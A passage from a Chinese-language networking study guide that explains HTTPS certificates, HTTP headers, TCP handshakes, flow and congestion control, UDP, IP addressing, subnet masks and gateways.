Client再次发起HTTPS的请求,使用对称密钥加密请求的明文内容B,然后Server使用对称密钥解密密文,得到明文内容B。 - -#### 数字证书 - -客户端先向服务器端索要公钥,然后用公钥加密信息,服务器收到密文后,用自己的私钥解密。 - -> 这就存在些问题,如何保证公钥不被篡改和信任度? - -所以这里就需要借助第三方权威机构 CA (数字证书认证机构),将**服务器公钥放在数字证书**(由数字证书认证机构颁发)中,只要证书是可信的,公钥就是可信的。 - -通过数字证书的方式保证服务器公钥的身份,解决冒充的风险。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-45917c49-bb08-4f88-84d2-5e8ae53acc7c.png) - -### 请求报文 - -**请求头** - -HTTP 请求报文由3部分组成(请求行+请求头+请求体) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-3c00598c-43c2-44cd-96c6-ee4d40b97abd.png) - -**常见的HTTP报文头属性** - -- Accpet - - 告诉服务端,客户端接收什么类型的响应 -- Referer - - 表示这是请求是从哪个URL进来的,比如想在网上购物,但是不知道选择哪家电商平台,你就去问度娘,说哪家电商的东西便宜啊,然后一堆东西弹出在你面前,第一给就是某宝,当你从这里进入某宝的时候,这个请求报文的Referer就是:[www.baidu.com](www.baidu.com) -- Cache-Control - - 对缓存进行控制,如一个请求希望响应的内容在客户端缓存一年,或不被缓可以通过这个报文头设置 -- Accept-Encoding - - 这个属性是用来告诉服务器能接受什么编码格式,包括字符编码,压缩形式(一般都是压缩形式) - - 例如:`Accept-Encoding:gzip, deflate`(这两种都是压缩格式) -- Host - - 指定要请求的资源所在的主机和端口 -- User-Agent:告诉服务器,客户端使用的操作系统、浏览器版本和名称 -- Connection - -  决定当前事务(三次握手和四次挥手)完成后,是否关闭网络连接。 - -* 持久连接,事务完成后不关闭网络连接 :` Connection: keep-alive` - -- 非持久连接,事务完成后关闭网络连接: `Connection: close`  - -### 响应报文 - -响应报文与请求报文一样,由三个部分组成(响应行,响应头,响应体) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-58884113-14dc-4cca-a63e-3320f31a4da5.png) - -**HTTP响应报文属性** - -- Cache-Control - - 响应输出到客户端后,服务端通过该属性告诉客户端该怎么控制响应内容的缓存 -- ETag - - 表示你请求资源的版本,如果该资源发生啦变化,那么这个属性也会跟着变 -- Location - - 在重定向中或者创建新资源时使用 -- Set-Cookie - - 服务端可以设置客户端的cookie - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## TCP - -TCP是一个传输层协议,提供可靠传输,支持全双工,是一个连接导向的协议。 - -**双工/单工** - -在任何一个时刻,如果数据只能单向发送,就是单工。 - -如果在某个时刻数据可以向一个方向传输,也可以向另一个方向反方向传输,而且交替进行,叫作半双工;半双工需要至少 1 条线路。 - -如果任何时刻数据都可以双向收发,这就是全双工,全双工需要大于 1 条线路。 - -TCP 是一个双工协议,数据任何时候都可以双向传输。 - -这就意味着客户端和服务端可以平等地发送、接收信息。 - -**TCP协议的主要特点** - -- TCP是面向连接的运输层协议;所谓面向连接就是双方传输数据之前,必须先建立一条通道,例如三次握手就是建议通道的一个过程,而四次挥手则是结束销毁通道的一个其中过程。 - -- 每一条TCP连接只能有两个端点(即两个套接字),只能是点对点的; - -- TCP提供可靠的传输服务。传送的数据无差错、不丢失、不重复、按序到达; - -- TCP提供全双工通信。允许通信双方的应用进程在任何时候都可以发送数据,因为两端都设有发送缓存和接受缓存; - -- 面向字节流。虽然应用程序与TCP交互是一次一个大小不等的数据块,但TCP把这些数据看成一连串无结构的字节流,它不保证接收方收到的数据块和发送方发送的数据块具有对应大小关系,例如,发送方应用程序交给发送方的TCP10个数据块,接收方的TCP可能只用收到的4个数据块字节流交付给上层的应用程序 - -**TCP的可靠性原理** - -可靠传输有如下两个特点: - -1. 传输信道无差错,保证传输数据正确; -2. 不管发送方以多快的速度发送数据,接收方总是来得及处理收到的数据; - -首先,采用三次握手来建立TCP连接,四次握手来释放TCP连接,从而保证建立的传输信道是可靠的。 - -其次,TCP采用了连续ARQ协议(回退N(Go-back-N);超时自动重传)来保证数据传输的正确性,使用滑动窗口协议来保证接方能够及时处理所接收到的数据,进行流量控制。 - -最后,TCP使用慢开始、拥塞避免、快重传和快恢复来进行拥塞控制,避免网络拥塞。 - -### 报文段 - -TCP虽面向字节流,但传送的数据单元为报文段 - -报文段 = 首部 + 数据2部分 - -TCP的全部功能体现在它首部中各字段的作用 - -> 1. 首部前20个字符固定、后面有4n个字节是根据需而增加的选项 -> 2. 故 TCP首部最小长度 = 20字节 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-8011660d-24c8-460f-ac3d-b97ad9c99b13.png) - -**端口**: - -源端口号和目地端口各占16位两个字节,也就是端口的范围是`2^16=65535` - -另外1024以下是系统保留的,从1024-65535是用户使用的端口范围 - -**seq序号**:占4字节,TCP连接中传送的字节流中的每个字节都按顺序编号。 - -例如:一段报文的序号字段值是107,携带的数据是100个字段,下一个报文段序号从107+100=207开始。 - -**ack确认号**:4个字节,是期望收到对方下一个报文段的第一个数据字节的序号。 - -例如:B收到A发送的报文,其序号字段是301,数据长度是200字节,表明B正确收到A发送的到序号500为止的数据(301+200-1=500),B期望收到A下一个数据序号是501,B发送给A的确认报文段中把ack确认号置为501。 - -**数据偏移**:头部有可选字段,长度不固定,指出TCP报文段的数据起始处距离报文段的起始处有多远。 - -**保留**:保留今后使用的,被标为1。 - -**控制位**:由8个标志位组成。每个标志位表示一个控制功能。 - -其中主要的6个: - -* **URG紧急指针标志**,为1表示紧急指针有效,为0忽略紧急指针。 - -* **ACK确认序号标志**,为1表示确认号有效,为0表示报文不含确认信息,忽略确认号字段,上面的确认号是否有效就是通过该标识控制的。 - -* **PSH标志**,为1表示带有push标志的数据,指示接收方在接收到该报文段以后,应尽快将该报文段交给应用程序,而不是在缓冲区排队。 - -* **RST重置连接标志**,重置因为主机崩溃或其他原因而出现错误的连接,或用于拒绝非法的报文段或非法的连接。 - -* **SYN同步序号**,同步序号,用于建立连接过程,在连接请求中,SYN=1和ACK=0表示该数据段没有使用捎带的确认域,而连接应答捎带一个确认,即SYN=1和ACK=1。。 - -* **FIN终止标志**,用于释放连接,为1时表示发送方没有发送了。 - -**窗口**:滑动窗口大小,用来告知发送端接收端缓存大小,以此控制发送端发送数据的速率,从而达到流量控制。 - -**校验和**:奇偶校验,此校验和是对整个的TCP报文段(包括TCP头部和TCP数据),以16位进行计算所得,由发送端计算和存储,接收端进行验证。 - -**紧急指针**:只有控制位中的URG为1时才有效,指出本报文段中的紧急数据的字节数。 - -**选项**:其长度可变,定义其他的可选参数。 - -### 粘包与拆包 - -TCP是面向字节流的协议,把上层应用层的数据看成字节流,所以它发送的不是固定大小的数据包,TCP协议也没有字段说明发送数据包的大小。 - -而且TCP不保证接受方应用程序收到的数据块和发送应用程序发送的数据块具有对应的大小关系 - -比如发送方应用程序交给发送方`TCP` 10个数据块,接受方TCP可能只用了4个数据块就完整的把接受到的字节流交给了上层应用程序。 - -TCP底层并不了解上层业务数据的具体含义,它会根据TCP缓冲区的实际情况进行包的划分,所以在业务上认为,一个完整的包可能会被TCP拆分成多个包进行发送,也有可能把多个小的包封装成一个大的数据包发送,这就是所谓的TCP粘包和拆包问题 - -**TCP粘包/拆包解决策略** - -由于TCP无法理解上一层的业务数据特点,所以TCP是无法保证发送的数据包不发生粘包和拆包,这个问题只能通过上层的协议栈设计来解决,解决思路有一下几种: - -- 消息定长:每个发送的数据包大小固定,比如100字节,不足100字节的用空格补充,接受方取数据的时候根据这个长度来读取数据 - -- 消息末尾增加换行符来表示一条完整的消息:接收方读取的时候根据换行符来判断是否是一条完整的消息,如果消息的内容也包含换行符,那么这种方式就不合适了。 - -- 将消息分为消息头和消息尾两部分,消息头指定数据长度,根据消息长度来读取完整的消息,例如UDP协议是这么设计的,用两个字节来表示消息长度,所以UDP不存在粘包和拆包问题。 - -### 三次握手 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-f6a9438e-4eb8-4573-9ef5-30e07b8c31df.png) - -**第一次握手**: - -客户端将TCP报文标志位`SYN`置为1,随机产生一个序号值`seq=J`,保存在TCP首部的序列号字段里,指明客户端打算连接的服务器的端口,并将该数据包发送给服务器端,发送完毕后,客户端进入`SYN_SENT`状态,等待服务器端确认。 - -**第二次握手**: - -服务器端收到数据包后由标志位`SYN=1`知道客户端请求建立连接,服务器端将TCP报文标志位SYN和ACK都置为1,`ack=J+1`,随机产生一个序号值`seq=K`,并将该数据包发送给客户端以确认连接请求,服务器端进入`SYN_RCVD`状态。 - -**第三次握手**: - -客户端收到确认后,检查ack是否为`J+1`,ACK是否为1,如果正确则将标志位ACK置为1,`ack=K+1`,并将该数据包发送给服务器端,服务器端检查ack是否为`K+1`,ACK是否为1,如果正确则连接建立成功,客户端和服务器端进入`ESTABLISHED`状态,完成三次握手,随后客户端与服务器端之间可以开始传输数据了。 - -**上面写的ack和ACK,不是同一个概念:** - -- 小写的ack代表的是头部的确认号Acknowledge number, 缩写ack,是对上一个包的序号进行确认的号,`ack=seq+1`。 - -- 大写的ACK,则是我们上面说的TCP首部的标志位,用于标志的TCP包是否对上一个包进行了确认操作,如果确认了,则把ACK标志位设置成1。 - -**TCP为什么三次握手而不是两次握手** - -- 为了实现可靠数据传输, TCP 协议的通信双方, 都必须维护一个序列号, 以标识发送出去的数据包中, 哪些是已经被对方收到的。 三次握手的过程即是通信双方相互告知序列号起始值, 并确认对方已经收到了序列号起始值的必经步骤 - -- 如果只是两次握手, 至多只有连接发起方的起始序列号能被确认, 另一方选择的序列号则得不到确认 - -**《计算机网络》中是这样说的:** - -为了防止已失效的连接请求报文段突然又传送到了服务端,因而产生错误。 - -> 在书中同时举了一个例子,如下: - -假如`client`发出的第一个连接请求报文段并没有丢失,而是在某个网络结点长时间的滞留了,以致延误到连接释放以后的某个时间才到达`server`,本来这是一个早已失效的报文段,但`server`收到此失效的连接请求报文段后,就误认为是client再次发出的一个新的连接请求。 - -于是就向client发出确认报文段,同意建立连接,假设不采用**三次握手**,那么只要server发出确认,新的连接就建立了,由于现在client并没有发出建立连接的请求,因此不会理睬server的确认,也不会向server发送数据。 - -但server却以为新的连接已经建立,并一直等待`client`发来数据,这样,server的很多资源就白白浪费掉了。 - -采用**三次握手**的办法可以防止上述现象发生,例如刚才那种情况,client不会向`server`的确认发出确认,server由于收不到确认,就知道client并没有要求建立连接。 - -**什么是半连接队列** - -服务器第一次收到客户端的 SYN 之后,就会处于 `SYN_RCVD`状态,此时双方还没有完全建立其连接,服务器会把此种状态下请求连接放在一个队列里,我们把这种队列称之为**半连接队列**。 - -当然还有一个**全连接队列**,就是已经完成三次握手,建立起连接的就会放在全连接队列中。如果队列满了就有可能会出现丢包现象。 - -补充一点关于**SYN-ACK 重传次数**的问题: - -服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。 - -**三次握手过程中可以携带数据吗** - -其实第三次握手的时候,是可以携带数据的,也就是说,第一次、第二次握手不可以携带数据,而第三次握手是可以携带数据的。 - -假如第一次握手可以携带数据的话,如果有人要恶意攻击服务器,那他每次都在第一次握手中的 SYN 报文中放入大量的数据,因为攻击者根本就不理服务器的接收、发送能力是否正常,然后疯狂着重复发 SYN 报文的话,这会让服务器花费很多时间、内存空间来接收这些报文。也就是说,第一次握手可以放数据的话,其中一个简单的原因就是会让服务器更加容易受到攻击了。 - -而对于第三次的话,此时客户端已经处于 established 状态,也就是说,对于客户端来说,他已经建立起连接了,并且也已经知道服务器的接收、发送能力是正常的了,所以能携带数据没啥毛病。 - -### 四次挥手 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-4a5e455f-5cf8-47a6-8fe4-a4c83a445f77.png) - -挥手请求可以是Client端,也可以是Server端发起的,我们假设是Client端发起: - -- 第一次挥手: Client端发起挥手请求,向Server端发送标志位是FIN报文段,设置序列号seq,此时,Client端进入`FIN_WAIT_1`状态,这表示Client端没有数据要发送给Server端了。 - -- 第二次挥手:Server端收到了Client端发送的FIN报文段,向Client端返回一个标志位是ACK的报文段,ack设为seq加1,Client端进入`FIN_WAIT_2`状态,Server端告诉Client端,我确认并同意你的关闭请求。 - -- 第三次挥手: Server端向Client端发送标志位是FIN的报文段,请求关闭连接,同时Client端进入`LAST_ACK`状态。 - -- 第四次挥手 : Client端收到Server端发送的FIN报文段,向Server端发送标志位是ACK的报文段,然后Client端进入`TIME_WAIT`状态,Server端收到Client端的ACK报文段以后,就关闭连接,此时,Client端等待2MSL的时间后依然没有收到回复,则证明Server端已正常关闭,那好,Client端也可以关闭连接了。 - -**为什么连接的时候是三次握手,关闭的时候却是四次握手?** - -建立连接时因为当Server端收到Client端的SYN连接请求报文后,可以直接发送SYN+ACK报文。其中ACK报文是用来应答的,SYN报文是用来同步的。所以建立连接只需要三次握手。 - -由于TCP协议是一种面向连接的、可靠的、基于字节流的运输层通信协议,TCP是全双工模式。 - -这就意味着,关闭连接时,当Client端发出FIN报文段时,只是表示Client端告诉Server端数据已经发送完毕了。当Server端收到FIN报文并返回ACK报文段,表示它已经知道Client端没有数据发送了,但是Server端还是可以发送数据到Client端的,所以Server很可能并不会立即关闭SOCKET,直到Server端把数据也发送完毕。 - -当Server端也发送了FIN报文段时,这个时候就表示Server端也没有数据要发送了,就会告诉Client端,我也没有数据要发送了,之后彼此就会愉快的中断这次TCP连接。 - -**为什么TIME_WAIT要等待2MSL?** - -MSL:报文段最大生存时间,它是任何报文段被丢弃前在网络内的最长时间。 - -有以下两个原因: - -- 第一点:保证TCP协议的全双工连接能够可靠关闭: - 由于IP协议的不可靠性或者是其它网络原因,导致了Server端没有收到Client端的ACK报文,那么Server端就会在超时之后重新发送FIN,如果此时Client端的连接已经关闭处于`CLOESD`状态,那么重发的FIN就找不到对应的连接了,从而导致连接错乱,所以,Client端发送完最后的ACK不能直接进入`CLOSED`状态,而要保持`TIME_WAIT`,当再次收到FIN的时候,能够保证对方收到ACK,最后正确关闭连接。 -- 第二点:保证这次连接的重复数据段从网络中消失 - 如果Client端发送最后的ACK直接进入`CLOSED`状态,然后又再向Server端发起一个新连接,这时不能保证新连接的与刚关闭的连接的端口号是不同的,也就是新连接和老连接的端口号可能一样了,那么就可能出现问题:如果前一次的连接某些数据滞留在网络中,这些延迟数据在建立新连接后到达Client端,由于新老连接的端口号和IP都一样,TCP协议就认为延迟数据是属于新连接的,新连接就会接收到脏数据,这样就会导致数据包混乱,所以TCP连接需要在`TIME_WAIT`状态等待2倍MSL,才能保证本次连接的所有数据在网络中消失。 - -### 流量控制 - -**RTT和RTO** - -RTT:发送一个数据包到收到对应的ACK,所花费的时间 - -RTO:重传时间间隔(TCP在发送一个数据包后会启动一个重传定时器,RTO即定时器的重传时间) - -开始预先算一个定时器时间,如果回复ACK,重传定时器就自动失效,即不需要重传;如果没有回复ACK,RTO定时器时间就到了,重传。 - -RTO是本次发送当前数据包所预估的超时时间,RTO不是固定写死的配置,是经过RTT计算出来的。 - -**滑动窗口** - -TCP的滑动窗口主要有两个作用: - -1. 保证TCP的可靠性 - -2. 保证TCP的流控特性 - -TCP报文头有个字段叫Window,用于接收方通知发送方自己还有多少缓存区可以接收数据,发送方根据接收方的处理能力来发送数据,不会导致接收方处理不过来,这便是流量控制。 - -发送方都维持了一个连续的允许发送的帧的序号,称为发送窗口;同时,接收方也维持了一个连续的允许接收的帧的序号,称为接收窗口。 - -发送窗口和接收窗口的序号的上下界不一定要一样,甚至大小也可以不同。 - -不同的滑动窗口协议窗口大小一般不同。 - -发送方窗口内的序列号代表了那些已经被发送,但是还没有被确认的帧,或者是那些可以被发送的帧 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-d734c97b-d7d6-4af6-8674-524a81fb4dbe.png) - -滑动窗口由四部分组成每个字节的数据都有唯一顺序的编码,随着时间发展,未确认部分与可以发送数据包编码部分向右移动,形式滑动窗口 - -1. `绿色`:发送成功并已经ACK确认的数据 -2. `黄色`:发送成功等待ACK确认的数据(占用滑动窗口大小) -3. `紫色`:滑动窗口剩余大小可以发送的字节数量(滑动窗口可用大小) -4. `灰色`:后续数据编码 - -接收窗口的大小就是滑动窗口的最大值,数据传输过程中滑动窗口的可用大小是动态变化的。 - -但是还有这么一点,滑动窗口的设计仅仅是考虑到了处理方的处理能力,但是没有考虑到道路的通畅问题 - -就好像服务端可以处理100M数据,但是传输的数据99M都堵在路上了,这不就是导致道路阻塞了么?这就需要另外一个设计**拥塞避免** - -**流量控制的目的** - -如果发送者发送数据过快,接收者来不及接收,那么就会有分组丢失。 - -为了避免分组丢失,控制发送者的发送速度,使得接收者来得及接收,这就是流量控制。 - -流量控制根本目的是防止分组丢失,它是构成TCP可靠性的一方面。 - -**如何实现流量控制** - -由滑动窗口协议(连续ARQ协议)实现。滑动窗口协议既保证了分组无差错、有序接收,也实现了流量控制。 - -主要的方式就是接收方返回的 ACK 中会包含自己的接收窗口的大小,并且利用大小来控制发送方的数据发送。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-4bdc0051-8878-4ffc-b9db-71b73ec49cd0.png) - -**流量控制引发的死锁** - -当发送者收到了一个窗口为0的应答,发送者便停止发送,等待接收者的下一个应答。 - -但是如果这个窗口不为0的应答在传输过程丢失,发送者一直等待下去,而接收者以为发送者已经收到该应答,等待接收新数据,这样双方就相互等待,从而产生死锁。 - -为了避免流量控制引发的死锁,TCP使用了**持续计时器**。每当发送者收到一个零窗口的应答后就启动该计时器。时间一到便主动发送报文询问接收者的窗口大小。若接收者仍然返回零窗口,则重置该计时器继续等待;若窗口不为0,则表示应答报文丢失了,此时重置发送窗口后开始发送,这样就避免了死锁的产生。 - -### 拥塞控制 - -**为什么要进行拥塞控制** - -假设网络已经出现拥塞,如果不处理拥塞,那么延时增加,出现更多丢包,触发发送方重传数据,加剧拥塞情况,继续恶性循环直至网络瘫痪。 - -拥塞控制与流量控制的适应场景和目的均不同。 - -拥塞发生前,可避免流量过快增长拖垮网络;拥塞发生时,唯一的选择就是降低流量。 - -主要使用4种算法完成拥塞控制: - -1. 慢启动 -2. 拥塞避免 -3. 快重传算法 -4. 快速恢复算法 - -算法1、2适用于拥塞发生前,算法3适用于拥塞发生时,算法4适用于拥塞解决后(相当于拥塞发生前)。 - -**rwnd与cwnd** - -`rwnd`(Receiver Window,接收者窗口)与`cwnd`(Congestion Window,拥塞窗口): - -- rwnd是用于流量控制的窗口大小,主要取决于接收方的处理速度,由接收方通知发送方被动调整。 - -- cwnd是用于拥塞处理的窗口大小,取决于网络状况,由发送方探查网络主动调整。 - -同时考虑流量控制与拥塞处理,则发送方窗口的大小不超过`min{rwnd, cwnd}`。 - -**慢启动算法** - -慢开始算法的思路就是,不要一开始就发送大量的数据,先探测一下网络的拥塞程度,也就是说由小到大逐渐增加拥塞窗口的大小。 - -这里用报文段的个数作为拥塞窗口的大小举例说明慢开始算法,实际的拥塞窗口大小是以字节为单位的。 - -一个传输轮次所经历的时间其实就是往返时间RTT,而且每经过一个传输轮次,拥塞窗口cwnd就加倍。 - -为了防止cwnd增长过大引起网络拥塞,还需设置一个慢开始门限ssthresh状态变量。 - -> ssthresh的用法如下: - -- cwndssthresh时,改用拥塞避免算法。 - -- 当cwnd=ssthresh时,慢开始与拥塞避免算法任意 - -注意,这里的慢并不是指cwnd的增长速率慢,而是指在TCP开始发送报文段时先设置cwnd=1,然后逐渐增大,这当然比按照大的cwnd一下子把许多报文段突然注入到网络中要慢得多。 - -**拥塞避免算法** - -让拥塞窗口cwnd缓慢地增大,即每经过一个往返时间RTT就把发送方的拥塞窗口cwnd加1,而不是加倍。 - -这样拥塞窗口cwnd按线性规律缓慢增长,比慢开始算法的拥塞窗口增长速率缓慢得多 - -无论是在慢开始阶段还是在拥塞避免阶段,只要发送方判断网络出现拥塞(其根据就是没有按时收到确认,虽然没有收到确认可能是其他原因的分组丢失,但是因为无法判定,所以都当做拥塞来处理),就把慢开始门限ssthresh设置为出现拥塞时的发送窗口大小的一半(但不能小于2)。 - -然后把拥塞窗口cwnd重新设置为1,执行慢开始算法。 - -这样做的目的就是要迅速减少主机发送到网络中的分组数,使得发生拥塞的路由器有足够时间把队列中积压的分组处理完毕。 - -**整个拥塞控制的流程:** - -假定cwnd=24时,网络出现超时(拥塞),则更新后的ssthresh=12,cwnd重新设置为1,并执行慢开始算法。 - -当cwnd=12=ssthresh时,改为执行拥塞避免算法 - -注意:拥塞避免并非完全能够避免了阻塞,而是使网络比较不容易出现拥塞。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-314eba07-1388-4e8b-9307-8dd8d03b0dfe.png) - -**快重传算法** - -快重传要求接收方在收到一个失序的报文段后就立即发出重复确认(为的是使发送方及早知道有报文段没有到达对方,可提高网络吞吐量约20%)而不要等到自己发送数据时捎带确认。 - -快重传算法规定,发送方只要一连收到三个重复确认就应当立即重传对方尚未收到的报文段,而不必继续等待设置的重传计时器时间到期 - -**快恢复算法** - -快重传配合使用的还有快恢复算法,有以下两个要点: - -- 当发送方连续收到三个重复确认时,就把ssthresh门限减半(为了预防网络发生拥塞)。 - -- 但是接下去并不执行慢开始算法 - -考虑到如果网络出现拥塞的话就不会收到好几个重复的确认,所以发送方现在认为网络可能没有出现拥塞。 - -所以此时不执行慢开始算法,而是将cwnd设置为ssthresh减半后的值,然后执行拥塞避免算法,使cwnd缓慢增大。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-3a424e43-405f-494d-b700-093781b63035.png) - -### Socket - -即套接字,是应用层 与 `TCP/IP` 协议族通信的中间软件抽象层,表现为一个封装了 TCP / IP协议族 的编程接口(API) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-eff20ef6-9d35-4075-8c53-ab52c7a46ac7.png) - -`Socket`不是一种协议,而是一个编程调用接口(`API`),属于传输层(主要解决数据如何在网络中传输) - -对用户来说,只需调用Socket去组织数据,以符合指定的协议,即可通信 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## UDP - -**UDP协议特点** - -- UDP是无连接的传输层协议; - -- UDP使用尽最大努力交付,不保证可靠交付; - -- UDP是面向报文的,对应用层交下来的报文,不合并,不拆分,保留原报文的边界; - -- UDP没有拥塞控制,因此即使网络出现拥塞也不会降低发送速率; - -- UDP支持一对一 一对多 多对多的交互通信; - -- UDP的首部开销小,只有8字节 - -**TCP和UDP的区别** - -- TCP是可靠传输,UDP是不可靠传输; - -- TCP面向连接,UDP无连接; - -- TCP传输数据有序,UDP不保证数据的有序性; - -- TCP不保存数据边界,UDP保留数据边界; - -- TCP传输速度相对UDP较慢; - -- TCP有流量控制和拥塞控制,UDP没有; - -- TCP是重量级协议,UDP是轻量级协议; - -- TCP首部较长20字节,UDP首部较短8字节; - -**基于TCP和UDP的常用协议** - -HTTP、HTTPS、FTP、TELNET、SMTP(简单邮件传输协议)协议基于可靠的TCP协议。 - -TFTP、DNS、DHCP、TFTP、SNMP(简单网络管理协议)、RIP基于不可靠的UDP协议 - -### 报文段 - -UDP的报文段共有2个字段:数据字段 + 首部字段 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-a5d0d209-01db-4ee7-b63b-bf2659545702.png) - -**UDP报文中每个字段的含义如下:** - -- 源端口:这个字段占据 UDP 报文头的前 16 位,通常包含发送数据报的应用程序所使用的 UDP 端口,接收端的应用程序利用这个字段的值作为发送响应的目的地址,这个字段是可选的,所以发送端的应用程序不一定会把自己的端口号写入该字段中,如果不写入端口号,则把这个字段设置为 0,这样,接收端的应用程序就不能发送响应了。 -- 目的端口:接收端计算机上 UDP 软件使用的端口,占据 16 位。 -- 长度:该字段占据 16 位,表示 UDP 数据报长度,包含 UDP 报文头和 UDP 数据长度,因为 UDP 报文头长度是 8 个字节,所以这个值最小为 8。 -- 校验值:该字段占据 16 位,可以检验数据在传输过程中是否被损坏。 - -## 网络层 - -### MAC地址 - -MAC称为物理地址,也叫硬件地址,用来定义网络设备的位置,MAC地址是网卡出厂时设定的,是固定的(但可以通过在设备管理器中或注册表等方式修改,同一网段内的MAC地址必须唯一)。 - -MAC地址采用十六进制数表示,长度是6个字节(48位),分为前24位和后24位。 - -> MAC地址对应于OSI参考模型的第二层数据链路层,工作在数据链路层的交换机维护着计算机MAC地址和自身端口的数据库,交换机根据收到的数据帧中的目的MAC地址字段来转发数据帧。 - -### IP地址 - -常见的IP地址分为IPv4与IPv6两大类,当前广泛应用的是IPv4,目前IPv4几乎耗尽,下一阶段必然会进行版本升级到IPv6; - -IP地址是以网络号和主机号来标示网络上的主机的,我们把网络号相同的主机称之为本地网络,网络号不相同的主机称之为远程网络主机 - -本地网络中的主机可以直接相互通信;远程网络中的主机要相互通信必须通过本地网关(Gateway)来传递转发数据。 - -IP地址对应于OSI参考模型的第三层网络层,工作在网络层的路由器根据目标IP和源IP来判断是否属于同一网段,如果是不同网段,则转发数据包。 - -**IP地址格式和表示** - -IP地址(IPv4)由32位二进制数组成,分为4段(4个字节),每一段为8位二进制数(1个字节) - -每一段8位二进制,中间使用英文的标点符号`.`隔开 - -由于二进制数太长,为了便于记忆和识别,把每一段8位二进制数转成十进制,大小为0至255。 - -IP地址的这种表示法叫做**点分十进制表示法**。 - -IP地址表示为:`xxx.xxx.xxx.xxx` - -举个栗子:`210.21.196.6`就是一个IP地址的表示。 - -计算机的IP地址由两部分组成,一部分为网络标识,一部分为主机标识,同一网段内的计算机网络部分相同,主机部分不能同时重复出现。 - -**路由器**连接不同网段,负责不同网段之间的数据转发,**交换机**连接的是同一网段的计算机。 - -通过设置网络地址和主机地址,在互相连接的整个网络中保证每台主机的IP地址不会互相重叠,即IP地址具有了唯一性。 - -**IP地址分类详解** - -IP地址分A、B、C、D、E五类,其中A、B、C这三类是比较常用的IP地址,D、E类为特殊地址。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-212f3f9b-b07f-4cc9-81eb-55bb478f1b66.png) - -### 子网掩码 - -**子网掩码的概念及作用** - -通过子网掩码,才能表明一台主机所在的子网与其他子网的关系,使网络正常工作。 - -子网掩码和IP地址做与运算,分离出IP地址中的网络地址和主机地址,用于判断该IP地址是在本地网络上,还是在远程网络网上。 - -子网掩码还用于将网络进一步划分为若干子网,以避免主机过多而拥堵或过少而IP浪费。 - -**子网掩码的组成** - -同IP地址一样,子网掩码是由长度为32位二进制数组成的一个地址。 - -子网掩码32位与IP地址32位相对应,IP地址如果某位是网络地址,则子网掩码为1,否则为0。 - -举个栗子:如:`11111111.11111111.11111111.00000000` - -> 左边连续的1的个数代表网络号的长度,(使用时必须是连续的,理论上也可以不连续),右边连续的0的个数代表主机号的长度。 - -**为什么要使用子网掩码** - -两台主机要通信,首先要判断是否处于同一网段,即网络地址是否相同。 - -如果相同,那么可以把数据包直接发送到目标主机,否则就需要路由网关将数据包转发送到目的地。 - -> 可以这么简单的理解:A主机要与B主机通信,A和B各自的IP地址与A主机的子网掩码进行And与运算,看得出的结果: -> -> 1、结果如果相同,则说明这两台主机是处于同一个网段,这样A可以通过ARP广播发现B的MAC地址,B也可以发现A的MAC地址来实现正常通信。 -> -> 2、如果结果不同,ARP广播会在本地网关终结,这时候A会把发给B的数据包先发给本地网关,网关再根据B主机的IP地址来查询路由表,再将数据包继续传递转发,最终送达到目的地B。 - ------- - -> 计算机的网关(Gateway)就是到其他网段的出口,也就是路由器接口IP地址。 -> -> 路由器接口使用的IP地址可以是本网段中任何一个地址,不过通常使用该网段的第一个可用的地址或最后一个可用的地址,这是为了尽可能避免和本网段中的主机地址冲突。 - -在如下拓扑图示例中,A与B,C与D,都可以直接相互通信(都是属于各自同一网段,不用经过路由器) - -但是A与C,A与D,B与C,B与D它们之间不属于同一网段,所以它们通信是要经过本地网关,然后路由器根据对方IP地址,在路由表中查找恰好有匹配到对方IP地址的直连路由,于是从另一边网关接口转发出去实现互连 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-e1d68baa-9d8c-4595-bcb5-0dc5f6e240fe.png) - -**子网掩码和IP地址的关系** - -子网掩码是用来判断任意两台主机的IP地址是否属于同一网络的依据 - -拿双方主机的IP地址和自己主机的子网掩码做与运算,如结果为同一网络,就可以直接通信 - -**如何根据IP地址和子网掩码,计算网络地址:** - -将IP地址与子网掩码转换成二进制数。 - -将二进制形式的 IP 地址与子网掩码做与运算。 - -将得出的结果转化为十进制,便得到网络地址。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-5fab32f0-20d1-4c05-bfb9-47928ceac65d.png) - -### 网关 - -网关实质上是一个网络通向其他网络的IP地址。 - -比如有网络A和网络B,网络A的IP地址范围为`192.168.1.1~192. 168.1.254`,子网掩码为`255.255.255.0`; - -网络B的IP地址范围为`192.168.2.1~192.168.2.254`,子网掩码为`255.255.255.0`。 - -在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(`255.255.255.0`)判定两个网络中的主机处在不同的网络里。 - -而要实现这两个网络之间的通信,则必须通过网关。 - -如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机。网络B向网络A转发数据包的过程。 - -**所以说,只有设置好网关的IP地址,TCP/IP协议才能实现不同网络之间的相互通信。** - -> 那么这个IP地址是哪台机器的IP地址呢? - -网关的IP地址是具有路由功能的设备的IP地址,具有路由功能的设备有路由器、启用了路由协议的服务器(实质上相当于一台路由器)、代理服务器(也相当于一台路由器)。 - -### Ping - 